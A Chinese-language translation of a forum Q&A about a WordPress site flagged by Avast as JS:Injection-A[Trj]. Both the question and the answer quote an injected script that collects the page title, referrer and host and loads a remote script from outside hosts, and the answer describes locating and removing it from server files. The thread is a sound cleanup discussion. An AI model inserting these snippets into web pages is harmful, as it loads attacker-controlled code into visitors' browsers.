Avast 在我的网站上给出 JS:Injection-A[Trj] 错误

Question

今天我想进入我的网站时收到了 Avast 的警告： forumhan.com.

要了解这一点，您的计算机上必须安装 Avast。

我的网站感染了 JS:Injection-A[Trj] — 这就是它没有显示的原因。

当我看的时候，我在 header:

上发现了这个

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

本人非专业人士，无法理解是否与其他文件有关系

这段代码有没有调用其他文件？

删除这个是否解决了问题？

我删除了它，但是我看不到我的网页。

Answer 1

我找到了解决方案。

问题是你说的。有人将该代码注入到您的网站（还有我的网站）。所以我所做的就是选择这个片段：

encodeURIComponent(document.title)

并在 htdocs 文件夹中使用 Notepad++ 在服务器上的所有文件中搜索。

然后我发现了这样的东西：

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

在这里：

而且我已经从所有文件中删除了它。仅此而已！

希望它也适合你！ :)

Avast 在我的网站上给出 JS:Injection-A[Trj] 错误

Avast gives error of JS:Injection-A[Trj] on my website

javascript

php

wordpress

trojan